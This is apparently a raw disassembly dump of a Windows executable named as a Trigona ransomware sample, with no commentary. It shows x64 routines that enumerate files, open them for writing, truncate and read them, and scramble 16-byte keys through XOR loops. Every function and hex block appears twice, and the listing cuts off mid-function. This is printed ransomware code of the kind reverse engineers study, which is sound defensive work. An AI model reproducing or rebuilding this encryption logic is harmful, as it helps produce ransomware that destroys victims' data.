File trigona_be6dfedd91e1ebc81d58a61b05b0ef93322425b247636a0f7f5c3eeebbc52edd.exe
Function:
Loading..
004434c0
004434c0fn_4434c0:
004434c0push rbp
004434c1push rbx
004434c2sub rsp, 120
004434c6mov rbp, rsp
004434c9mov [rbp+56], rcx
004434cdmov [rbp+64], rdx
004434d1mov [rbp+88], 0
004434d9mov [rbp+80], 0
004434e1mov [rbp+104], 0
004434e9mov [rbp+96], 0
004434f1mov [rbp+160], r8
004434f8lea rcx, [rbp+160]
004434ffcall fn_40bf00
00443504nop
00443505mov al, 1
00443507mov [rbp+79], al
0044350amov rax, [rip+0x20aaf]
00443511cmp [rax+308], 0
00443518je 0x443528
0044351alea rcx, [rip+375]
00443521mov dl, 1
00443523call fn_439060
00443528
00443528loc_443528:
00443528mov ebx, 1
0044352d
0044352dloc_44352d:
0044352dlea rcx, [rbp+96]
00443531mov rdx, [rbp+160]
00443538lea r8, [rip+389]
0044353fcall fn_40d230
00443544lea rcx, [rbp+104]
00443548mov rdx, [rbp+96]
0044354ccall fn_42f780
00443551mov rcx, [rbp+104]
00443555call fn_40d180
0044355amov rcx, rax
0044355dmov rdx, [rbp+64]
00443561call FindFirstFileW
00443566mov rcx, [rbp+56]
0044356amov [rcx], rax
0044356dmov rax, [rbp+56]
00443571cmp [rax], -1
00443575jne 0x443610
0044357bmov ecx, 100
00443580call Sleep
00443585mov rax, [rip+0x20a34]
0044358ccmp [rax+308], 0
00443593je 0x4435d8
00443595cmp ebx, 4
00443598je 0x4435d8
0044359alea rcx, [rbp+80]
0044359emov edx, ebx
004435a0add edx, 1
004435a3call fn_4225b0
004435a8lea rcx, [rbp+88]
004435acmov edx, 3
004435b1lea r8, [rip+284]
004435b8mov r9, [rbp+80]
004435bclea rax, [rip+349]
004435c3mov [rsp+32], rax
004435c8call fn_40dbb0
004435cdmov rcx, [rbp+88]
004435d1mov dl, 1
004435d3call fn_439060
004435d8
004435d8loc_4435d8:
004435d8add ebx, 1
004435dbcmp ebx, 5
004435dejne 0x44352d
004435e4nop
004435e5mov rax, [rip+0x209d4]
004435eccmp [rax+308], 0
004435f3je 0x44360a
004435f5lea rcx, [rip+308]
004435fcmov dl, 1
004435fecall fn_439060
00443603xor ecx, ecx
00443605call fn_4392a0
0044360a
0044360aloc_44360a:
0044360axor eax, eax
0044360cmov [rbp+79], al
0044360fnop
00443610
00443610loc_443610:
00443610lea rcx, [rbp+80]
00443614mov edx, 2
00443619call fn_40bdd0
0044361elea rcx, [rbp+96]
00443622mov edx, 2
00443627call fn_40be70
0044362clea rcx, [rbp+160]
00443633call fn_40bd90
00443638movzx rax, [rbp+79]
0044363dlea rsp, [rbp+120]
00443641pop rbx
00443642pop rbp
00443643ret
004434c0
004434c0fn_4434c0:
004434c0push rbp
004434c1push rbx
004434c2sub rsp, 120
004434c6mov rbp, rsp
004434c9mov [rbp+56], rcx
004434cdmov [rbp+64], rdx
004434d1mov [rbp+88], 0
004434d9mov [rbp+80], 0
004434e1mov [rbp+104], 0
004434e9mov [rbp+96], 0
004434f1mov [rbp+160], r8
004434f8lea rcx, [rbp+160]
004434ffcall fn_40bf00
00443504nop
00443505mov al, 1
00443507mov [rbp+79], al
0044350amov rax, [rip+0x20aaf]
00443511cmp [rax+308], 0
00443518je 0x443528
0044351alea rcx, [rip+375]
00443521mov dl, 1
00443523call fn_439060
00443528
00443528loc_443528:
00443528mov ebx, 1
0044352d
0044352dloc_44352d:
0044352dlea rcx, [rbp+96]
00443531mov rdx, [rbp+160]
00443538lea r8, [rip+389]
0044353fcall fn_40d230
00443544lea rcx, [rbp+104]
00443548mov rdx, [rbp+96]
0044354ccall fn_42f780
00443551mov rcx, [rbp+104]
00443555call fn_40d180
0044355amov rcx, rax
0044355dmov rdx, [rbp+64]
00443561call FindFirstFileW
00443566mov rcx, [rbp+56]
0044356amov [rcx], rax
0044356dmov rax, [rbp+56]
00443571cmp [rax], -1
00443575jne 0x443610
0044357bmov ecx, 100
00443580call Sleep
00443585mov rax, [rip+0x20a34]
0044358ccmp [rax+308], 0
00443593je 0x4435d8
00443595cmp ebx, 4
00443598je 0x4435d8
0044359alea rcx, [rbp+80]
0044359emov edx, ebx
004435a0add edx, 1
004435a3call fn_4225b0
004435a8lea rcx, [rbp+88]
004435acmov edx, 3
004435b1lea r8, [rip+284]
004435b8mov r9, [rbp+80]
004435bclea rax, [rip+349]
004435c3mov [rsp+32], rax
004435c8call fn_40dbb0
004435cdmov rcx, [rbp+88]
004435d1mov dl, 1
004435d3call fn_439060
004435d8
004435d8loc_4435d8:
004435d8add ebx, 1
004435dbcmp ebx, 5
004435dejne 0x44352d
004435e4nop
004435e5mov rax, [rip+0x209d4]
004435eccmp [rax+308], 0
004435f3je 0x44360a
004435f5lea rcx, [rip+308]
004435fcmov dl, 1
004435fecall fn_439060
00443603xor ecx, ecx
00443605call fn_4392a0
0044360a
0044360aloc_44360a:
0044360axor eax, eax
0044360cmov [rbp+79], al
0044360fnop
00443610
00443610loc_443610:
00443610lea rcx, [rbp+80]
00443614mov edx, 2
00443619call fn_40bdd0
0044361elea rcx, [rbp+96]
00443622mov edx, 2
00443627call fn_40be70
0044362clea rcx, [rbp+160]
00443633call fn_40bd90
00443638movzx rax, [rbp+79]
0044363dlea rsp, [rbp+120]
00443641pop rbx
00443642pop rbp
00443643ret
004434c0
00443644
00443644 48 8d 40 00 48 8d 04 05 00 00 00 00 H.@.H.......
00443644 48 8d 40 00 48 8d 04 05 00 00 00 00 H.@.H.......
00443650
00443650fn_443650:
00443650push rbp
00443651push rbx
00443652sub rsp, 40
00443656mov rbp, rsp
00443659mov rbx, rdx
0044365clea rcx, [rbx+80]
00443660mov edx, 2
00443665call fn_40bdd0
0044366alea rcx, [rbx+96]
0044366emov edx, 2
00443673call fn_40be70
00443678lea rcx, [rbx+160]
0044367fcall fn_40bd90
00443684lea rsp, [rbp+40]
00443688pop rbx
00443689pop rbp
0044368aret
00443650
00443650fn_443650:
00443650push rbp
00443651push rbx
00443652sub rsp, 40
00443656mov rbp, rsp
00443659mov rbx, rdx
0044365clea rcx, [rbx+80]
00443660mov edx, 2
00443665call fn_40bdd0
0044366alea rcx, [rbx+96]
0044366emov edx, 2
00443673call fn_40be70
00443678lea rcx, [rbx+160]
0044367fcall fn_40bd90
00443684lea rsp, [rbp+40]
00443688pop rbx
00443689pop rbp
0044368aret
00443650
0044368b
0044368b 00 b0 04 02 00 .....
00443690 ff ff ff ff 13 00 00 00 54 00 72 00 79 00 20 00 ........T.r.y. .
004436a0 74 00 6f 00 20 00 6f 00 70 00 65 00 6e 00 20 00 t.o. .o.p.e.n. .
004436b0 66 00 6f 00 6c 00 64 00 65 00 72 00 2e 00 00 00 f.o.l.d.e.r.....
004436c0 02 00 00 00 2a 00 00 00 b0 04 02 00 ff ff ff ff ....*...........
004436d0 1e 00 00 00 43 00 61 00 6e 00 27 00 74 00 20 00 ....C.a.n.'.t. .
004436e0 6f 00 70 00 65 00 6e 00 20 00 66 00 6f 00 6c 00 o.p.e.n. .f.o.l.
004436f0 64 00 65 00 72 00 2e 00 20 00 54 00 72 00 79 00 d.e.r... .T.r.y.
00443700 20 00 61 00 67 00 61 00 69 00 6e 00 20 00 28 00 .a.g.a.i.n. .(.
00443710 00 00 00 00 b0 04 02 00 ff ff ff ff 01 00 00 00 ................
00443720 29 00 00 00 b0 04 02 00 ff ff ff ff 1b 00 00 00 )...............
00443730 57 00 41 00 52 00 4e 00 49 00 4e 00 47 00 3a 00 W.A.R.N.I.N.G.:.
00443740 20 00 43 00 61 00 6e 00 27 00 74 00 20 00 6f 00 .C.a.n.'.t. .o.
00443750 70 00 65 00 6e 00 20 00 66 00 6f 00 6c 00 64 00 p.e.n. .f.o.l.d.
00443760 65 00 72 00 2e 00 00 00 cc cc cc cc cc cc cc cc e.r.............
0044368b 00 b0 04 02 00 .....
00443690 ff ff ff ff 13 00 00 00 54 00 72 00 79 00 20 00 ........T.r.y. .
004436a0 74 00 6f 00 20 00 6f 00 70 00 65 00 6e 00 20 00 t.o. .o.p.e.n. .
004436b0 66 00 6f 00 6c 00 64 00 65 00 72 00 2e 00 00 00 f.o.l.d.e.r.....
004436c0 02 00 00 00 2a 00 00 00 b0 04 02 00 ff ff ff ff ....*...........
004436d0 1e 00 00 00 43 00 61 00 6e 00 27 00 74 00 20 00 ....C.a.n.'.t. .
004436e0 6f 00 70 00 65 00 6e 00 20 00 66 00 6f 00 6c 00 o.p.e.n. .f.o.l.
004436f0 64 00 65 00 72 00 2e 00 20 00 54 00 72 00 79 00 d.e.r... .T.r.y.
00443700 20 00 61 00 67 00 61 00 69 00 6e 00 20 00 28 00 .a.g.a.i.n. .(.
00443710 00 00 00 00 b0 04 02 00 ff ff ff ff 01 00 00 00 ................
00443720 29 00 00 00 b0 04 02 00 ff ff ff ff 1b 00 00 00 )...............
00443730 57 00 41 00 52 00 4e 00 49 00 4e 00 47 00 3a 00 W.A.R.N.I.N.G.:.
00443740 20 00 43 00 61 00 6e 00 27 00 74 00 20 00 6f 00 .C.a.n.'.t. .o.
00443750 70 00 65 00 6e 00 20 00 66 00 6f 00 6c 00 64 00 p.e.n. .f.o.l.d.
00443760 65 00 72 00 2e 00 00 00 cc cc cc cc cc cc cc cc e.r.............
00443770
00443770fn_443770:
00443770push rbp
00443771push rbx
00443772sub rsp, 120
00443776mov rbp, rsp
00443779mov [rbp+72], rcx
0044377dmov [rbp+80], rdx
00443781mov [rbp+96], 0
00443789mov [rbp+104], 0
00443791mov [rbp+160], r8
00443798lea rcx, [rbp+160]
0044379fcall fn_40bf00
004437a4nop
004437a5mov al, 1
004437a7mov [rbp+95], al
004437aamov bl, 1
004437ac
004437acloc_4437ac:
004437acmov rax, [rbp+72]
004437b0cmp [rax], -1
004437b4jne 0x443811
004437b6mov ecx, 100
004437bbcall Sleep
004437c0lea rcx, [rbp+104]
004437c4mov rdx, [rbp+160]
004437cbcall fn_42f780
004437d0mov rcx, [rbp+104]
004437d4call fn_40d180
004437d9mov rcx, rax
004437dcmov edx, 0xffffffffc0000000
004437e1xor r8, r8
004437e4xor r9, r9
004437e7mov [rsp+32], 3
004437efmov [rsp+40], 128
004437f7mov [rsp+48], 0
00443800call CreateFileW
00443805mov rcx, [rbp+72]
00443809mov [rcx], rax
0044380cjmp 0x44389d
00443811
00443811loc_443811:
00443811mov rax, [rbp+72]
00443815mov rcx, [rax]
00443818mov rdx, [rbp+80]
0044381cxor r8, r8
0044381fxor r9, r9
00443822call SetFilePointerEx
00443827test al, al
00443829je 0x44383b
0044382bmov rax, [rbp+72]
0044382fmov rcx, [rax]
00443832call SetEndOfFile
00443837test eax, eax
00443839jne 0x4438b0
0044383b
0044383bloc_44383b:
0044383bmov rax, [rbp+72]
0044383fmov rcx, [rax]
00443842call CloseHandle
00443847mov ecx, 100
0044384ccall Sleep
00443851lea rcx, [rbp+96]
00443855mov rdx, [rbp+160]
0044385ccall fn_42f780
00443861mov rcx, [rbp+96]
00443865call fn_40d180
0044386amov rcx, rax
0044386dmov edx, 0xffffffffc0000000
00443872xor r8, r8
00443875xor r9, r9
00443878mov [rsp+32], 3
00443880mov [rsp+40], 128
00443888mov [rsp+48], 0
00443891call CreateFileW
00443896mov rcx, [rbp+72]
0044389amov [rcx], rax
0044389d
0044389dloc_44389d:
0044389dadd bl, 1
004438a0cmp bl, 11
004438a3jne 0x4437ac
004438a9nop
004438aaxor eax, eax
004438acmov [rbp+95], al
004438afnop
004438b0
004438b0loc_4438b0:
004438b0lea rcx, [rbp+96]
004438b4mov edx, 2
004438b9call fn_40be70
004438belea rcx, [rbp+160]
004438c5call fn_40bd90
004438camovzx rax, [rbp+95]
004438cflea rsp, [rbp+120]
004438d3pop rbx
004438d4pop rbp
004438d5ret
00443770
00443770fn_443770:
00443770push rbp
00443771push rbx
00443772sub rsp, 120
00443776mov rbp, rsp
00443779mov [rbp+72], rcx
0044377dmov [rbp+80], rdx
00443781mov [rbp+96], 0
00443789mov [rbp+104], 0
00443791mov [rbp+160], r8
00443798lea rcx, [rbp+160]
0044379fcall fn_40bf00
004437a4nop
004437a5mov al, 1
004437a7mov [rbp+95], al
004437aamov bl, 1
004437ac
004437acloc_4437ac:
004437acmov rax, [rbp+72]
004437b0cmp [rax], -1
004437b4jne 0x443811
004437b6mov ecx, 100
004437bbcall Sleep
004437c0lea rcx, [rbp+104]
004437c4mov rdx, [rbp+160]
004437cbcall fn_42f780
004437d0mov rcx, [rbp+104]
004437d4call fn_40d180
004437d9mov rcx, rax
004437dcmov edx, 0xffffffffc0000000
004437e1xor r8, r8
004437e4xor r9, r9
004437e7mov [rsp+32], 3
004437efmov [rsp+40], 128
004437f7mov [rsp+48], 0
00443800call CreateFileW
00443805mov rcx, [rbp+72]
00443809mov [rcx], rax
0044380cjmp 0x44389d
00443811
00443811loc_443811:
00443811mov rax, [rbp+72]
00443815mov rcx, [rax]
00443818mov rdx, [rbp+80]
0044381cxor r8, r8
0044381fxor r9, r9
00443822call SetFilePointerEx
00443827test al, al
00443829je 0x44383b
0044382bmov rax, [rbp+72]
0044382fmov rcx, [rax]
00443832call SetEndOfFile
00443837test eax, eax
00443839jne 0x4438b0
0044383b
0044383bloc_44383b:
0044383bmov rax, [rbp+72]
0044383fmov rcx, [rax]
00443842call CloseHandle
00443847mov ecx, 100
0044384ccall Sleep
00443851lea rcx, [rbp+96]
00443855mov rdx, [rbp+160]
0044385ccall fn_42f780
00443861mov rcx, [rbp+96]
00443865call fn_40d180
0044386amov rcx, rax
0044386dmov edx, 0xffffffffc0000000
00443872xor r8, r8
00443875xor r9, r9
00443878mov [rsp+32], 3
00443880mov [rsp+40], 128
00443888mov [rsp+48], 0
00443891call CreateFileW
00443896mov rcx, [rbp+72]
0044389amov [rcx], rax
0044389d
0044389dloc_44389d:
0044389dadd bl, 1
004438a0cmp bl, 11
004438a3jne 0x4437ac
004438a9nop
004438aaxor eax, eax
004438acmov [rbp+95], al
004438afnop
004438b0
004438b0loc_4438b0:
004438b0lea rcx, [rbp+96]
004438b4mov edx, 2
004438b9call fn_40be70
004438belea rcx, [rbp+160]
004438c5call fn_40bd90
004438camovzx rax, [rbp+95]
004438cflea rsp, [rbp+120]
004438d3pop rbx
004438d4pop rbp
004438d5ret
00443770
004438d6
004438d6 48 90 48 8d 04 05 00 00 00 00 H.H.......
004438d6 48 90 48 8d 04 05 00 00 00 00 H.H.......
004438e0
004438e0fn_4438e0:
004438e0push rbp
004438e1push rbx
004438e2sub rsp, 40
004438e6mov rbp, rsp
004438e9mov rbx, rdx
004438eclea rcx, [rbx+96]
004438f0mov edx, 2
004438f5call fn_40be70
004438falea rcx, [rbx+160]
00443901call fn_40bd90
00443906lea rsp, [rbp+40]
0044390apop rbx
0044390bpop rbp
0044390cret
004438e0
004438e0fn_4438e0:
004438e0push rbp
004438e1push rbx
004438e2sub rsp, 40
004438e6mov rbp, rsp
004438e9mov rbx, rdx
004438eclea rcx, [rbx+96]
004438f0mov edx, 2
004438f5call fn_40be70
004438falea rcx, [rbx+160]
00443901call fn_40bd90
00443906lea rsp, [rbp+40]
0044390apop rbx
0044390bpop rbp
0044390cret
004438e0
0044390d
0044390d // align 0x10
0044390d // align 0x10
00443910
00443910fn_443910:
00443910push r13
00443912push rdi
00443913push rsi
00443914push rbx
00443915sub rsp, 40
00443919mov rbx, rcx
0044391cmov rsi, rdx
0044391fmov edi, r8l
00443922mov rcx, rbx
00443925mov rdx, [rip-0x14b0c]
0044392ccall fn_410600
00443931mov rcx, rbx
00443934mov rdx, [rip-0x14b1b]
0044393bmov r8l, 1
00443941mov r9l, 16
00443947call fn_410430
0044394cxor r13, r13
0044394f
0044394floc_44394f:
0044394fmov ecx, 256
00443954call fn_405e80
00443959mov rcx, [rbx]
0044395cmovsxd rdx, r13l
0044395fmov [rcx+rdx], al
00443962add r13l, 1
00443966cmp r13l, 16
0044396ajne 0x44394f
0044396cnop
0044396dtest dil, dil
00443970je 0x4439ad
00443972mov rcx, rsi
00443975mov rdx, [rip-0x14b5c]
0044397ccall fn_410600
00443981mov rcx, rsi
00443984mov rdx, [rip-0x14b6b]
0044398bmov r8l, 1
00443991mov r9l, 16
00443997call fn_410430
0044399cmov rcx, [rbx]
0044399fmov rdx, [rsi]
004439a2mov r8l, 16
004439a8call fn_405ac0
004439ad
004439adloc_4439ad:
004439adadd rsp, 40
004439b1pop rbx
004439b2pop rsi
004439b3pop rdi
004439b4pop r13
004439b6ret
00443910
00443910fn_443910:
00443910push r13
00443912push rdi
00443913push rsi
00443914push rbx
00443915sub rsp, 40
00443919mov rbx, rcx
0044391cmov rsi, rdx
0044391fmov edi, r8l
00443922mov rcx, rbx
00443925mov rdx, [rip-0x14b0c]
0044392ccall fn_410600
00443931mov rcx, rbx
00443934mov rdx, [rip-0x14b1b]
0044393bmov r8l, 1
00443941mov r9l, 16
00443947call fn_410430
0044394cxor r13, r13
0044394f
0044394floc_44394f:
0044394fmov ecx, 256
00443954call fn_405e80
00443959mov rcx, [rbx]
0044395cmovsxd rdx, r13l
0044395fmov [rcx+rdx], al
00443962add r13l, 1
00443966cmp r13l, 16
0044396ajne 0x44394f
0044396cnop
0044396dtest dil, dil
00443970je 0x4439ad
00443972mov rcx, rsi
00443975mov rdx, [rip-0x14b5c]
0044397ccall fn_410600
00443981mov rcx, rsi
00443984mov rdx, [rip-0x14b6b]
0044398bmov r8l, 1
00443991mov r9l, 16
00443997call fn_410430
0044399cmov rcx, [rbx]
0044399fmov rdx, [rsi]
004439a2mov r8l, 16
004439a8call fn_405ac0
004439ad
004439adloc_4439ad:
004439adadd rsp, 40
004439b1pop rbx
004439b2pop rsi
004439b3pop rdi
004439b4pop r13
004439b6ret
00443910
004439b7
004439b7 // align 0x10
004439b7 // align 0x10
004439c0
004439c0fn_4439c0:
004439c0push rbp
004439c1sub rsp, 64
004439c5mov rbp, rsp
004439c8mov [rbp+32], rcx
004439ccmov [rbp+40], rdx
004439d0mov [rbp+56], 0
004439d8nop
004439d9mov rax, [rbp+40]
004439ddadd [rax], 1
004439e0lea rcx, [rbp+56]
004439e4mov rax, [rbp+40]
004439e8mov edx, [rax]
004439eacall fn_430990
004439efmov eax, 1
004439f4
004439f4loc_4439f4:
004439f4mov rcx, [rbp+32]
004439f8mov rcx, [rcx]
004439fbmovsxd rdx, eax
004439felea rcx, [rcx+rdx]
00443a02mov rdx, [rbp+32]
00443a06mov rdx, [rdx]
00443a09movzx rdx, [rdx]
00443a0dxor [rcx], dl
00443a0fadd eax, 1
00443a12cmp eax, 16
00443a15jne 0x4439f4
00443a17nop
00443a18xor eax, eax
00443a1a
00443a1aloc_443a1a:
00443a1amovsxd r9, eax
00443a1dmov rcx, [rbp+32]
00443a21mov rcx, [rcx]
00443a24movzx rdx, [rcx+r9]
00443a29mov ecx, edx
00443a2bshl ecx, 4
00443a2emovzx rcx, cl
00443a32shr ecx, 4
00443a35movzx r8, cl
00443a39mov rcx, [rbp+32]
00443a3dmov rcx, [rcx]
00443a40movzx rcx, [rcx+r8]
00443a45mov r10, [rbp+32]
00443a49mov r10, [r10]
00443a4cmov [r10+r8], dl
00443a50mov rdx, [rbp+32]
00443a54mov rdx, [rdx]
00443a57mov [rdx+r9], cl
00443a5badd eax, 1
00443a5ecmp eax, 16
00443a61jne 0x443a1a
00443a63nop
00443a64xor eax, eax
00443a66
00443a66loc_443a66:
00443a66mov rcx, [rbp+32]
00443a6amov rcx, [rcx]
00443a6dmovsxd rdx, eax
00443a70lea rcx, [rcx+rdx]
00443a74mov rdx, [rbp+32]
00443a78mov rdx, [rdx]
00443a7bmovzx rdx, [rdx+15]
00443a80xor [rcx], dl
00443a82add eax, 1
00443a85cmp eax, 15
00443a88jne 0x443a66
00443a8anop
00443a8bmov rax, [rbp+56]
00443a8fmovzx rcx, [rax+3]
00443a94shl ecx, 6
00443a97movzx rcx, cl
00443a9bshr ecx, 6
00443a9exor eax, eax
00443aa0
00443aa0loc_443aa0:
00443aa0mov rdx, [rbp+32]
00443aa4mov rdx, [rdx]
00443aa7movsxd r8, eax
00443aaalea rdx, [rdx+r8]
00443aaemov r8, [rbp+56]
00443ab2movzx r9, cl
00443ab6movzx r8, [r8+r9]
00443abbxor [rdx], r8b
00443abeadd eax, 1
00443ac1cmp eax, 16
00443ac4jne 0x443aa0
00443ac6nop
00443ac7xor eax, eax
00443ac9
00443ac9loc_443ac9:
00443ac9mov rcx, [rbp+32]
00443acdmov rcx, [rcx]
00443ad0movsxd rdx, eax
00443ad3lea rcx, [rcx+rdx]
00443ad7mov rdx, [rbp+56]
00443adbmov r8l, eax
00443adeand r8l, 0xffffffff80000003
00443ae5jns 0x443af3
00443ae7sub r8l, 1
00443aebor r8l, -4
00443aefadd r8l, 1
00443af3
00443af3loc_443af3:
00443af3movsxd r8, r8l
00443af6movzx rdx, [rdx+r8]
00443afbxor [rcx], dl
00443afdadd eax, 1
00443b00cmp eax, 16
00443b03jne 0x443ac9
00443b05nop
00443b06nop
00443b07lea rcx, [rbp+56]
00443b0bmov rdx, [rip-0x14cf2]
00443b12call fn_410600
00443b17lea rsp, [rbp+64]
00443b1bpop rbp
00443b1cret
004439c0
004439c0fn_4439c0:
004439c0push rbp
004439c1sub rsp, 64
004439c5mov rbp, rsp
004439c8mov [rbp+32], rcx
004439ccmov [rbp+40], rdx
004439d0mov [rbp+56], 0
004439d8nop
004439d9mov rax, [rbp+40]
004439ddadd [rax], 1
004439e0lea rcx, [rbp+56]
004439e4mov rax, [rbp+40]
004439e8mov edx, [rax]
004439eacall fn_430990
004439efmov eax, 1
004439f4
004439f4loc_4439f4:
004439f4mov rcx, [rbp+32]
004439f8mov rcx, [rcx]
004439fbmovsxd rdx, eax
004439felea rcx, [rcx+rdx]
00443a02mov rdx, [rbp+32]
00443a06mov rdx, [rdx]
00443a09movzx rdx, [rdx]
00443a0dxor [rcx], dl
00443a0fadd eax, 1
00443a12cmp eax, 16
00443a15jne 0x4439f4
00443a17nop
00443a18xor eax, eax
00443a1a
00443a1aloc_443a1a:
00443a1amovsxd r9, eax
00443a1dmov rcx, [rbp+32]
00443a21mov rcx, [rcx]
00443a24movzx rdx, [rcx+r9]
00443a29mov ecx, edx
00443a2bshl ecx, 4
00443a2emovzx rcx, cl
00443a32shr ecx, 4
00443a35movzx r8, cl
00443a39mov rcx, [rbp+32]
00443a3dmov rcx, [rcx]
00443a40movzx rcx, [rcx+r8]
00443a45mov r10, [rbp+32]
00443a49mov r10, [r10]
00443a4cmov [r10+r8], dl
00443a50mov rdx, [rbp+32]
00443a54mov rdx, [rdx]
00443a57mov [rdx+r9], cl
00443a5badd eax, 1
00443a5ecmp eax, 16
00443a61jne 0x443a1a
00443a63nop
00443a64xor eax, eax
00443a66
00443a66loc_443a66:
00443a66mov rcx, [rbp+32]
00443a6amov rcx, [rcx]
00443a6dmovsxd rdx, eax
00443a70lea rcx, [rcx+rdx]
00443a74mov rdx, [rbp+32]
00443a78mov rdx, [rdx]
00443a7bmovzx rdx, [rdx+15]
00443a80xor [rcx], dl
00443a82add eax, 1
00443a85cmp eax, 15
00443a88jne 0x443a66
00443a8anop
00443a8bmov rax, [rbp+56]
00443a8fmovzx rcx, [rax+3]
00443a94shl ecx, 6
00443a97movzx rcx, cl
00443a9bshr ecx, 6
00443a9exor eax, eax
00443aa0
00443aa0loc_443aa0:
00443aa0mov rdx, [rbp+32]
00443aa4mov rdx, [rdx]
00443aa7movsxd r8, eax
00443aaalea rdx, [rdx+r8]
00443aaemov r8, [rbp+56]
00443ab2movzx r9, cl
00443ab6movzx r8, [r8+r9]
00443abbxor [rdx], r8b
00443abeadd eax, 1
00443ac1cmp eax, 16
00443ac4jne 0x443aa0
00443ac6nop
00443ac7xor eax, eax
00443ac9
00443ac9loc_443ac9:
00443ac9mov rcx, [rbp+32]
00443acdmov rcx, [rcx]
00443ad0movsxd rdx, eax
00443ad3lea rcx, [rcx+rdx]
00443ad7mov rdx, [rbp+56]
00443adbmov r8l, eax
00443adeand r8l, 0xffffffff80000003
00443ae5jns 0x443af3
00443ae7sub r8l, 1
00443aebor r8l, -4
00443aefadd r8l, 1
00443af3
00443af3loc_443af3:
00443af3movsxd r8, r8l
00443af6movzx rdx, [rdx+r8]
00443afbxor [rcx], dl
00443afdadd eax, 1
00443b00cmp eax, 16
00443b03jne 0x443ac9
00443b05nop
00443b06nop
00443b07lea rcx, [rbp+56]
00443b0bmov rdx, [rip-0x14cf2]
00443b12call fn_410600
00443b17lea rsp, [rbp+64]
00443b1bpop rbp
00443b1cret
004439c0
00443b1d
00443b1d 48 8b c0 H..
00443b1d 48 8b c0 H..
00443b20
00443b20fn_443b20:
00443b20push rbp
00443b21sub rsp, 32
00443b25mov rbp, rsp
00443b28lea rcx, [rdx+56]
00443b2cmov rdx, [rip-0x14d13]
00443b33call fn_410600
00443b38lea rsp, [rbp+32]
00443b3cpop rbp
00443b3dret
00443b20
00443b20fn_443b20:
00443b20push rbp
00443b21sub rsp, 32
00443b25mov rbp, rsp
00443b28lea rcx, [rdx+56]
00443b2cmov rdx, [rip-0x14d13]
00443b33call fn_410600
00443b38lea rsp, [rbp+32]
00443b3cpop rbp
00443b3dret
00443b20
00443b3e
00443b3e // align 0x10
00443b3e // align 0x10
00443b40
00443b40fn_443b40:
00443b40push rbp
00443b41push rbx
00443b42sub rsp, 104
00443b46mov rbp, rsp
00443b49mov [rbp+48], rcx
00443b4dmov [rbp+56], rdx
00443b51mov [rbp+68], r8l
00443b55mov [rbp+72], r9
00443b59mov [rbp+88], 0
00443b61nop
00443b62mov rax, [rbp+192]
00443b69mov rcx, [rax]
00443b6cmov edx, [rbp+68]
00443b6fmov edx, edx
00443b71xor r8, r8
00443b74call fn_4069b0
00443b79mov [rbp+84], 0
00443b80mov rax, [rbp+48]
00443b84mov rcx, [rax]
00443b87mov rdx, [rbp+56]
00443b8bxor r8, r8
00443b8exor r9, r9
00443b91call SetFilePointerEx
00443b96test al, al
00443b98je 0x443bc1
00443b9amov rax, [rbp+48]
00443b9emov rcx, [rax]
00443ba1mov rax, [rbp+192]
00443ba8mov rdx, [rax]
00443babmov r8l, [rbp+68]
00443baflea r9, [rbp+84]
00443bb3mov [rsp+32], 0
00443bbccall ReadFile
00443bc1
00443bc1loc_443bc1:
00443bc1mov eax, [rbp+84]
00443bc4sub eax, 1
00443bc7jmp 0x443bcc
00443bc9
00443bc9loc_443bc9:
00443bc9sub eax, 1
00443bcc
00443bccloc_443bcc:
00443bcctest eax, eax
00443bcejl 0x443be3
00443bd0mov rcx, [rbp+192]
00443bd7mov rcx, [rcx]
00443bdamovsxd rdx, eax
00443bddcmp [rcx+rdx], 0
00443be1je 0x443bc9
00443be3
00443be3loc_443be3:
00443be3add eax, 1
00443be6mov [rbp+84], eax
00443be9cmp [rbp+84], 0
00443bedjne 0x443ca5
00443bf3mov rax, [rbp+168]
00443bfamov rax, [rax]
00443bfdmov rcx, [rbp+184]
00443c04mov ecx, [rcx]
00443c06mov [rax+rcx], 0
00443c0amov rax, [rbp+168]
00443c11mov rax, [rax]
00443c14mov rcx, [rbp+184]
00443c1bmov ecx, [rcx]
00443c1dadd ecx, 1
00443c20mov ecx, ecx
00443c22mov [rax+rcx], 0
00443c26mov rax, [rbp+168]
00443c2dmov rax, [rax]
00443c30mov rcx, [rbp+184]
00443c37mov ecx, [rcx]
00443c39add ecx, 2
00443c3cmov ecx, ecx
00443c3emov [rax+rcx], 0
00443c42mov rax, [rbp+168]
00443c49mov rax, [rax]
00443c4cmov rcx, [rbp+184]
00443c53mov ecx, [rcx]
00443c55add ecx, 3
00443c58mov ecx, ecx
00443c5amov [rax+rcx], 0
00443c5emov rax, [rbp+168]
00443c65mov rax, [rax]
00443c68mov rcx, [rbp+184]
00443c6fmov ecx, [rcx]
00443c71add ecx, 4
00443c74mov ecx, ecx
00443c76mov [rax+rcx], 0
00443c7amov rax, [rbp+168]
00443c81mov rax, [rax]
00443c84mov rcx, [rbp+184]
00443c8bmov ecx, [rcx]
00443c8dadd ecx, 5
00443c90mov ecx, ecx
00443c92mov [rax+rcx], 0
00443c96mov rax, [rbp+184]
00443c9dadd [rax], 6
00443ca0jmp 0x444013
00443ca5
00443ca5loc_443ca5:
00443ca5mov eax, [rbp+84]
00443ca8mov [rbp+68], eax
00443cabxor ebx, ebx
00443cadmov rcx, [rbp+192]
00443cb4mov rdx, [rbp+160]
00443cbbmov r8, [rbp+72]
00443cbfmov r9, [rbp+200]
00443cc6mov eax, [rbp+68]
00443cc9mov [rsp+32], eax
00443ccdmov rax, [rbp+208]
00443cd4mov [rsp+40], rax
00443cd9call fn_435c80
00443cdejmp 0x443de2
00443ce3
00443ce3loc_443ce3:
00443ce3cmp bl, -1
00443ce6jne 0x443d9e
00443cecmov rax, [rbp+168]
00443cf3mov rax, [rax]
00443cf6mov rcx, [rbp+184]
00443cfdmov ecx, [rcx]
00443cffmov [rax+rcx], 0
00443d03mov rax, [rbp+168]
00443d0amov rax, [rax]
00443d0dmov rcx, [rbp+184]
00443d14mov ecx, [rcx]
00443d16add ecx, 1
00443d19mov ecx, ecx
00443d1bmov [rax+rcx], 0
00443d1fmov rax, [rbp+168]
00443d26mov rax, [rax]
00443d29mov rcx, [rbp+184]
00443d30mov ecx, [rcx]
00443d32add ecx, 2
00443d35mov ecx, ecx
00443d37mov [rax+rcx], 0
00443d3bmov rax, [rbp+168]
00443d42mov rax, [rax]
00443d45mov rcx, [rbp+184]
00443d4cmov ecx, [rcx]
00443d4eadd ecx, 3
00443d51mov ecx, ecx
00443d53mov [rax+rcx], 0
00443d57mov rax, [rbp+168]
00443d5emov rax, [rax]
00443d61mov rcx, [rbp+184]
00443d68mov ecx, [rcx]
